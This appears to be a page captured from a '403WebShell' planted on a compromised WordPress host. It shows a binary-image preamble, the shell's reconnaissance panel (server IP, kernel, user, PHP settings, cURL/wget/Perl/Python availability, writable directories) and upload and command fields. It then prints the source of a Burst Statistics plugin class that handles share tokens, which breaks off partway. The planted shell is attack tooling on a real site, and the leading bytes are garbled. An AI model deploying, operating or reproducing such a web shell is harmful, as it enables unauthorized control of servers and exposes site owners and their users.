....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 51.91.236.193  /  Your IP : 216.73.216.177
Web Server : Apache
System : Linux webm019.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : thillelirn ( 8290)
PHP Version : 8.0.30
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thillelirn/sexo_tlse/wp-content/plugins/burst-statistics/includes/Admin/Share/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/thillelirn/sexo_tlse/wp-content/plugins/burst-statistics/includes/Admin/Share/class-share.php
<?php
namespace Burst\Admin\Share;

use Burst\Admin\App\App;
use Burst\Admin\Capability\Capability;
use Burst\Admin\Reports\Report;
use Burst\Traits\Admin_Helper;
use Burst\Traits\Sanitize;
use Burst\Traits\Save;

defined( 'ABSPATH' ) || die( 'you do not have access to this page!' );

class Share {
	use Admin_Helper;
	use Save;
	use Sanitize;

	/**
	 * Expiration options in seconds.
	 *
	 * @var array<string, int>
	 */
	private const EXPIRATION_MAP = [
		'never' => 0,
		'24h'   => DAY_IN_SECONDS,
		'7d'    => 7 * DAY_IN_SECONDS,
		'30d'   => 30 * DAY_IN_SECONDS,
	];

	/**
	 * Default permissions for share links.
	 *
	 * @var array<string, bool>
	 */
	private const DEFAULT_PERMISSIONS = [
		'can_change_date' => false,
		'can_filter'      => false,
	];

	/**
	 * Default initial state for share links.
	 *
	 * @var array<string, array>
	 */
	private const DEFAULT_INITIAL_STATE = [
		'date_range' => [
			'start' => '',
			'end'   => '',
		],
		'filters'    => [],
	];

	/**
	 * Initialize the Share class.
	 */
	public function init(): void {
		add_action( 'burst_do_action', [ $this, 'do_rest_action' ], 10, 3 );
		add_action( 'template_redirect', [ $this, 'check_for_share_token' ] );
		add_action( 'init', [ $this, 'add_rewrite_rules' ] );
		add_action( 'admin_init', [ $this, 'lock_viewer_user_capabilities' ] );
		add_filter( 'query_vars', [ $this, 'add_query_vars' ] );
		add_filter( 'burst_verify_nonce', [ $this, 'verify_nonce_for_shared_links' ], 10, 3 );
		add_filter( 'burst_share_link_permissions', [ $this, 'get_current_share_link_permissions' ] );
		add_filter( 'burst_menu', [ $this, 'shareable_menu_items' ] );
		add_action( 'admin_init', [ $this, 'maybe_flush_rewrite_rules' ] );
		add_action( 'burst_daily', [ $this, 'cleanup_viewer_sessions' ] );
	}

	/**
	 * Get shareable tabs from the menu configuration.
	 * Reads from burst_menu filter and returns only items with shareable => true.
	 *
	 * @return array Array of shareable tab configurations with id and title.
	 */
	public static function get_shareable_tabs(): array {
		$menu_items = \Burst\burst_loader()->admin->app->menu->get();

		$shareable_tabs = [];
		foreach ( $menu_items as $item ) {
			if ( ! empty( $item['shareable'] ) && ! empty( $item['id'] ) ) {
				$shareable_tabs[] = [
					'id'    => $item['id'],
					'title' => $item['title'] ?? $item['id'],
				];
			}
		}
		return $shareable_tabs;
	}

	/**
	 * Filter menu items to only include shareable items for share link viewers.
	 *
	 * @param array $menu_items The original menu items.
	 * @return array The filtered menu items.
	 */
	public function shareable_menu_items( array $menu_items ): array {

		$user_has_burst_viewer_role = self::is_shareable_link_viewer();
		if ( ! $user_has_burst_viewer_role ) {
			return $menu_items;
		}

		$shared_tab_slugs = $this->get_current_share_link_allowed_tabs();
		// remove items where capabilities are not met.
		foreach ( $menu_items as $key => $menu_item ) {
			// remove any menu items that are not shareable.
			if ( ! isset( $menu_item['shareable'] ) || ! $menu_item['shareable'] ) {
				unset( $menu_items[ $key ] );
				continue;
			}

			// remove any menu items not in the allowed tabs.
			if ( ! in_array( $menu_item['id'], $shared_tab_slugs, true ) ) {
				unset( $menu_items[ $key ] );
			}
		}

		return $menu_items;
	}

	/**
	 * If headers contain X-Burst-Share-Token, verify that token against stored share tokens.
	 *
	 * @param bool        $nonce_is_valid Whether the nonce is valid.
	 * @param string|null $nonce          The nonce value.
	 * @param string      $action         The action being performed.
	 * @return bool Whether the nonce is valid.
	 */
	public function verify_nonce_for_shared_links( bool $nonce_is_valid, ?string $nonce, string $action ): bool {
		unset( $nonce );

		// Only use override if current user is a burst_viewer.
		$user = wp_get_current_user();
		if ( ! in_array( 'burst_viewer', (array) $user->roles, true ) ) {
			return $nonce_is_valid;
		}

		// Only use override if $action === burst_nonce.
		if ( $action !== 'burst_nonce' ) {
			return $nonce_is_valid;
		}

		if ( isset( $_SERVER['HTTP_X_BURST_SHARE_TOKEN'] ) ) {
			$token = sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_BURST_SHARE_TOKEN'] ) );
			if ( self::validate_share_token( $token ) ) {
				return true;
			}
		}
		return $nonce_is_valid;
	}

	/**
	 * Validate and fix burst_statistics_viewer user.
	 * Ensures user has ONLY burst_viewer role and ONLY view_burst_statistics capability.
	 */
	public function lock_viewer_user_capabilities(): void {
		if ( ! self::is_shareable_link_viewer() ) {
			return;
		}
		$username = 'burst_statistics_viewer';
		$user     = get_user_by( 'login', $username );
		if ( ! $user ) {
			return;
		}

		$needs_fix = false;

		// Only one role allowed: burst_viewer.
		if ( count( $user->roles ) !== 1 || ! in_array( 'burst_viewer', (array) $user->roles, true ) ) {
			$needs_fix = true;
		}

		// Check 2: check allowed capabilities.
		$user_caps    = array_keys( array_filter( (array) $user->allcaps ) );
		$allowed_caps = [
			'view_burst_statistics',
			'burst_viewer',
		];

		// Remove all other capabilities.
		$extra_caps = array_diff( $user_caps, $allowed_caps );
		if ( ! empty( $extra_caps ) ) {
			$needs_fix = true;
		}

		if ( $needs_fix ) {
			foreach ( $user->roles as $role ) {
				$user->remove_role( $role );
			}

			foreach ( $extra_caps as $cap ) {
				$user->remove_cap( $cap );
			}

			$user->add_role( 'burst_viewer' );
			Capability::add_capability( 'view', [ 'burst_viewer' ] );
		}
	}

	/**
	 * Add custom query var.
	 *
	 * @param array $vars Query vars.
	 * @return array Modified query vars.
	 */
	public function add_query_vars( array $vars ): array {
		$vars[] = 'burst_share_page';
		$vars[] = 'burst_share_token';
		return $vars;
	}

	/**
	 * Add custom rewrite rule for /burst/dashboard.
	 */
	public function add_rewrite_rules(): void {
		add_rewrite_rule(
			'^burst-dashboard/?$',
			'index.php?burst_share_page=1',
			'top'
		);
	}

	/**
	 * Check for share token in URL and log in viewer user if valid.
	 */
	public function check_for_share_token(): void {
		if ( ! get_query_var( 'burst_share_page' ) &&
            // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Not using the value, just an exists check.
			( ! isset( $_SERVER['REQUEST_URI'] ) || strpos( wp_unslash( $_SERVER['REQUEST_URI'] ), '/burst-dashboard' ) === false ) ) {
			return;
		}

		// phpcs:ignore WordPress.Security.NonceVerification.Recommended
		if ( ! isset( $_GET['burst_share_token'] ) ) {
			return;
		}

		// phpcs:ignore WordPress.Security.NonceVerification.Recommended
		$token = sanitize_text_field( wp_unslash( $_GET['burst_share_token'] ) );
		// This is a "just in case" check, if the token is invalid, we should never end up here anyway. It's already validated by this point.
		if ( ! self::validate_share_token( $token ) ) {
			wp_die( esc_html__( 'This share link has expired or is invalid.', 'burst-statistics' ) );
		}

		// Only log in if user is not already logged in.
		if ( ! is_user_logged_in() ) {
			$viewer_user_id = $this->get_viewer_user();
			wp_set_current_user( $viewer_user_id );
			wp_set_auth_cookie( $viewer_user_id, false );
		}

		if ( ! self::is_shareable_link_viewer() && ! $this->user_can_view() ) {
			wp_die( esc_html__( 'You are already logged in, but with a user account with insufficient permissions to view this page. Log out first, or use this link in a private window.', 'burst-statistics' ) );
		}

		$this->load_statistics_template();
		exit;
	}

	/**
	 * Load the shared statistics template.
	 */
	private function load_statistics_template(): void {
		// Set query var so WordPress doesn't try to load theme.
		global $wp_query;
		$wp_query->is_404 = false;
		status_header( 200 );

		$app = new App();
		$app->init();
		$app->plugin_admin_scripts();
		$user_lang = get_user_locale();
		?>
		<!DOCTYPE html>
		<html <?php language_attributes(); ?> lang="<?php echo esc_attr( $user_lang ); ?>">
		<head>
			<meta charset="<?php bloginfo( 'charset' ); ?>">
			<meta name="viewport" content="width=device-width, initial-scale=1">
			<title><?php esc_html_e( 'Burst Statistics', 'burst-statistics' ); ?></title>
			<style>
				body.burst-shared-view {
					background-color:#f0f0f1;
				}
				#burst-statistics {
					padding-left:23px;
				}
		</style>
		</head>
		<body class="burst-shared-view">
		<?php
			$app->dashboard();
			wp_print_footer_scripts();
		?>
		</body>
		</html>
		<?php
		exit;
	}

	/**
	 * If the viewer user does not exist, create it.
	 */
	public function create_viewer_user(): void {
		if ( ! $this->user_can_manage() ) {
			return;
		}

		$username = 'burst_statistics_viewer';
		$user     = get_user_by( 'login', $username );
		if ( ! $user ) {
			if ( get_role( 'burst_viewer' ) === null ) {
				add_role(
					'burst_viewer',
					__( 'Burst Statistics Viewer', 'burst-statistics' ),
					// No capabilities needed for frontend-only.
					[]
				);
			}

			wp_insert_user(
				[
					'user_login'           => $username,
					'user_pass'            => wp_generate_password( 64, true, true ),
					'user_email'           => 'noreply@' . wp_parse_url( home_url(), PHP_URL_HOST ),
					'role'                 => 'burst_viewer',
					'show_admin_bar_front' => 'false',
				]
			);
			Capability::add_capability( 'view', [ 'burst_viewer' ] );
		}
	}

	/**
	 * Get the viewer user.
	 *
	 * @return int The User ID of the viewer user.
	 */
	public function get_viewer_user(): int {
		$username = 'burst_statistics_viewer';
		$user     = get_user_by( 'login', $username );

		if ( ! $user ) {
			return 0;
		}

		return $user->ID;
	}

	/**
	 * Add token creation to REST actions.
	 *
	 * @param array      $output The output array.
	 * @param string     $action The action being performed.
	 * @param array|null $data   The request data.
	 * @return array The modified output array.
	 */
	public function do_rest_action( array $output, string $action, ?array $data ): array {
		if ( ! $this->user_can_manage() ) {
			return $output;
		}
		if ( $action === 'get_share_token' ) {
			// Flush rewrite rules only once when the first token is created.
			if ( ! is_array( get_option( 'burst_share_tokens', false ) ) ) {
				set_transient( 'burst_flush_rewrite_rules', true, 60 );
			}
			$this->create_viewer_user();

			$expiration    = isset( $data['expiration'] ) ? sanitize_text_field( $data['expiration'] ) : '7d';
			$view_url      = isset( $data['view_url'] ) ? $this->sanitize_view_url( $data['view_url'] ) : '';
			$permissions   = self::sanitize_permissions( $data['permissions'] ?? [] );
			$shared_tabs   = self::sanitize_shared_tabs( $data['shared_tabs'] ?? [] );
			$initial_state = $this->sanitize_initial_state( $data['initial_state'] ?? [] );
			$report_id     = (int) ( $data['report_id'] ?? 0 );
			$token         = $this->generate_token( $expiration, $view_url, $permissions, $shared_tabs, $initial_state, $report_id );
			$url           = self::build_share_url( $token, $view_url, $report_id );
			$output        = [
				'share_token' => $token,
				'share_url'   => $url,
			];
		}

		if ( $action === 'revoke_share_link' ) {
			$token = isset( $data['token'] ) ? sanitize_text_field( $data['token'] ) : '';
			$this->revoke_token( $token );
			$output = [
				'success'     => true,
				'share_links' => $this->get_share_links( 'link' ),
			];
		}

		if ( $action === 'list_share_links' ) {
			$output = [
				'share_links'    => $this->get_share_links( 'link' ),
				'shareable_tabs' => self::get_shareable_tabs(),
			];
		}

		return $output;
	}

	/**
	 * Flush rewrite rules if the transient is set.
	 */
	public function maybe_flush_rewrite_rules(): void {
		if ( get_transient( 'burst_flush_rewrite_rules' ) ) {
			flush_rewrite_rules();
			delete_transient( 'burst_flush_rewrite_rules' );
		}
	}

	/**
	 * Get all valid share links with their metadata.
	 *
	 * @param string $type Type of token. all, report or link.
	 * @param string $token Optional token to filter by.
	 * @param int    $report_id Optional report_id to filter by.
	 * @return array Array of share link data.
	 */
	public function get_share_links( string $type = 'all', string $token = '', int $report_id = 0 ): array {
		$tokens = get_option( 'burst_share_tokens', [] );
		// if this is requested for a report, we should check if it has a connected share url. If not, generate the token.
		if ( $type === 'report' && $report_id > 0 ) {
			$tokens = array_filter(
				$tokens,
				function ( $link ) use ( $report_id ) {
					return $link['report_id'] === $report_id;
				}
			);
			// if there are no tokens for this report, we should generate them now.
			if ( empty( $tokens ) ) {
				$burst_scheme = wp_parse_url( BURST_URL, PHP_URL_SCHEME );
				$view_url     = set_url_scheme( site_url( '/burst-dashboard/#story' ), $burst_scheme );
				$this->generate_token( '7d', $view_url, [], [], [], $report_id );
				$tokens = get_option( 'burst_share_tokens', [] );
			}
		}

		$share_links  = [];
		$current_time = time();
		// Clean up expired tokens while we're at it.
		$valid_tokens = [];

		foreach ( $tokens as $token_data ) {
			// Skip expired tokens (0 means never expires).
			if ( $token_data['expires'] !== 0 && $token_data['expires'] < $current_time ) {
				continue;
			}

			$valid_tokens[] = $token_data;

			// Build share URL using the token and stored view_url.
			$share_url     = $token_data['view_url'] ?? '';
			$share_url     = self::build_share_url( $token_data['token'], $share_url );
			$permissions   = self::sanitize_permissions( $token_data['permissions'] ?? self::DEFAULT_PERMISSIONS );
			$tabs          = self::sanitize_shared_tabs( $token_data['shared_tabs'] ?? [] );
			$share_links[] = [
				'token'         => $token_data['token'] ?? '',
				'url'           => $share_url,
				'expires'       => $token_data['expires'],
				'created'       => $token_data['created'] ?? 0,
				'report_id'     => $token_data['report_id'] ?? 0,
				'permissions'   => $permissions,
				'shared_tabs'   => $tabs,
				'initial_state' => $token_data['initial_state'] ?? self::DEFAULT_INITIAL_STATE,
			];
		}

		// Update option with only valid tokens.
		if ( count( $valid_tokens ) !== count( $tokens ) ) {
			update_option( 'burst_share_tokens', $valid_tokens );
		}

		// Sort by expiry: soonest first, never-expiring (0) last.
		usort(
			$share_links,
			function ( $a, $b ) {
				// Treat 0 (never expires) as a very large number so it sorts last.
				$a_expires = $a['expires'] === 0 ? PHP_INT_MAX : $a['expires'];
				$b_expires = $b['expires'] === 0 ? PHP_INT_MAX : $b['expires'];

				return $a_expires <=> $b_expires;
			}
		);

		// if a token is passed, we're looking for a share link for the story view. In that case we don't filter out the report_ids.
		if ( ! empty( $token ) ) {
			return array_values(
				array_filter(
					$share_links,
					function ( $link ) use ( $token ) {
						return $link['token'] === $token;
					}
				)
			);
		}

		if ( $report_id !== 0 ) {
			return array_values(
				array_filter(
					$share_links,
					function ( $link ) use ( $report_id ) {
						return $link['report_id'] === $report_id;
					}
				)
			);
		}

		// If we only need link types, filter out tokens where report_id >0.
		if ( $type === 'link' ) {
			return array_values(
				array_filter(
					$share_links,
					function ( $link ) {
						return $link['report_id'] === 0;
					}
				)
			);
		}

		if ( $type === 'report' ) {
			return array_values(
				array_filter(
					$share_links,
					function ( $link ) {
						return $link['report_id'] !== 0;
					}
				)
			);
		}

		// type===all, return all items.
		return $share_links;
	}

	/**
	 * Check if the current request is allowed to view the ecommerce tab.
	 */
	public function ecommerce_tab_is_shared(): bool {
		$token = '';
		if ( isset( $_SERVER['HTTP_X_BURST_SHARE_TOKEN'] ) ) {
            //phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- The token is our nonce, and is sanitized.			$token = self::sanitize_token( wp_unslash( $_SERVER['HTTP_X_BURST_SHARE_TOKEN'] ) );
			$token = self::sanitize_token( wp_unslash( $_SERVER['HTTP_X_BURST_SHARE_TOKEN'] ) );
